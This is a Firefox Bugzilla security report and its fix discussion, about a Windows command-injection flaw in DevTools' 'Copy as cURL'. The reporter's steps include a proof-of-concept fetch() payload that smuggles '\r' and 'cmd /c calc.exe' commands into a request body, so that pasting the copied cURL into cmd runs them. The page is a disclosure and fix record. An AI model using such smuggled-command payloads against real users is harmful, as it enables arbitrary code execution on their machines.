Potential local code execution in “Copy as cURL” command
Categories
(DevTools :: Netmonitor, defect, P2)
Tracking
(firefox-esr115 wontfix, firefox-esr140144+ fixed, firefox143 wontfix, firefox144+ fixed, firefox145+ fixed)
People
(Reporter: sas.kunz, Assigned: bomsy)
References
(Blocks 1 open bug)
Details
(Keywords: csectype-priv-escalation, reporter-external, sec-moderate, Whiteboard: [client-bounty-form][adv-main144+][adv-esr140.4+])
User Story
CVE credit in c16
Attachments
(5 files)
|
4.05 MB,
video/mp4
|
Details | |
|
48 bytes,
text/x-phabricator-request
|
Details | Review | |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-esr140+
|
Details | Review |
|
274 bytes,
text/plain
|
Details |
the vulnerability like :
https://bugzilla.mozilla.org/show_bug.cgi?id=1962301
Steps to reproduce the problem
- Copy and run the payload in console :
fetch("https://example.com/postit", { "credentials": "omit", "headers": { "Accept-Language": "en-US", "Content-Type": "text/plain", }, "body": "query=evil\n\ncmd /c calc1.exe\t\r\t calc2.exe \t calc3.exe \rcalc.exe\rcalc.exe\r calc7.exe \rt\r\t calc2.exe \t calc3.exe \r", "method": "POST", }); - Copy the request with copy as curl (windows)
- Paste on the windows cmd you can see calc triggers
Firefox: Nightly 144.0a1 (2025-08-29) (64-bit)
OS: WIndows 11
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Comment 1•1 year ago
|
||
The severity field is not set for this bug.
:bomsy, could you have a look please?
For more information, please visit BugBot documentation.
| Assignee | ||
Comment 2•1 year ago
|
||
This looks like a duplicate of Bug 1987656
hi i reported my bug id comes first (https://bugzilla.mozilla.org/show_bug.cgi?id=1986142) than https://bugzilla.mozilla.org/show_bug.cgi?id=1987656
The bug https://bugzilla.mozilla.org/show_bug.cgi?id=1987656 should be a duplicate of my bug because my bug has a smaller id (https://bugzilla.mozilla.org/show_bug.cgi?id=1986142)
| Assignee | ||
Comment 6•1 year ago
|
||
While reverting all the work related to cross platform escaping of curl (See Bug 1976589), i tried to cleanup the
escaping of new line characters, but introduced carriage returns (\r).
This patch reverts back to the original fix from Bug 1968414
Updated•1 year ago
|
| Assignee | ||
Updated•1 year ago
|
Updated•11 months ago
|
Comment 9•11 months ago
|
||
Backed out for causing xpc failures @test_curl.js.
Comment 11•11 months ago
|
||
Comment 12•11 months ago
|
||
Comment 13•11 months ago
|
||
Backed out for causing xpcshell failures on test_curl.js:
TEST-UNEXPECTED-FAIL | devtools/client/shared/test/xpcshell/test_curl.js | - proper multipart data present in curl output - "--data-binary ^\n ^\"------------14808^\n\nContent-Disposition: form-data; name=^\\^\"field_one^\\^\"^\n\n^\n\nvalue_one^\n\n------------14808^\n\nContent-Disposition: form-data; name=^\\^\"field_two^\\^\"^\n\n^\n\nvalue two^\n\n------------14808--^\n\n^\"" == "--data-binary ^\n ^\"------------14808\\r\\nContent-Disposition: form-data; name=^\\^\"field_one^\\^\"\\r\\n\\r\\nvalue_one\\r\\n------------14808\\r\\nContent-Disposition: form-data; name=^\\^\"field_two^\\^\"\\r\\n\\r\\nvalue two\\r\\n------------14808--\\r\\n^\""
Comment 14•11 months ago
|
||
| Assignee | ||
Updated•11 months ago
|
Comment 15•11 months ago
|
||
| Reporter | ||
Comment 16•11 months ago
|
||
if this bug gets a cve can the credit be given to:
hafiizh (https://www.linkedin.com/in/hafiizh-7aa6bb31) & kang ali (https://www.linkedin.com/in/mohammad-ali-syarief)?
Comment 19•11 months ago
|
||
Please nominate this for Beta & ESR140 uplift.
Comment 21•11 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: Can potentially compromise user machine if user runs certain curl commands.
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Small JavaScript change to escape curl properly for Windows
- String changes made/needed: None
- Is Android affected?: no
| Assignee | ||
Comment 22•11 months ago
|
||
While reverting all the work related to cross platform escaping of curl (See Bug 1976589), i tried to cleanup the
escaping of new line characters, but introduced carriage returns (\r).
This patch reverts back to the original fix from Bug 1968414
Original Revision: https://phabricator.services.mozilla.com/D265397
Comment 23•11 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined: Can potentially compromise user machine if user runs certain curl commands.
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Small JavaScript change to escape curl properly for Windows
- String changes made/needed: None
- Is Android affected?: no
| Assignee | ||
Comment 24•11 months ago
|
||
While reverting all the work related to cross platform escaping of curl (See Bug 1976589), i tried to cleanup the
escaping of new line characters, but introduced carriage returns (\r).
This patch reverts back to the original fix from Bug 1968414
Original Revision: https://phabricator.services.mozilla.com/D265397
| Assignee | ||
Updated•11 months ago
|
Updated•11 months ago
|
Updated•11 months ago
|
Updated•11 months ago
|
Comment 25•11 months ago
|
||
| uplift | ||
Updated•11 months ago
|
Updated•11 months ago
|
Comment 26•11 months ago
|
||
| uplift | ||
Comment 27•11 months ago
|
||
| uplift | ||
Updated•11 months ago
|
Comment 28•11 months ago
|
||
| uplift | ||
Updated•11 months ago
|
Updated•11 months ago
|
Comment 29•11 months ago
|
||
| Reporter | ||
Comment 30•11 months ago
|
||
if this bug gets a cve can the credit be given to:
hafiizh (https://www.linkedin.com/in/hafiizh-7aa6bb31) & kang ali (https://www.linkedin.com/in/mohammad-ali-syarief)?
| Reporter | ||
Comment 31•11 months ago
|
||
Updated•11 months ago
|
Updated•5 months ago
|
Description
•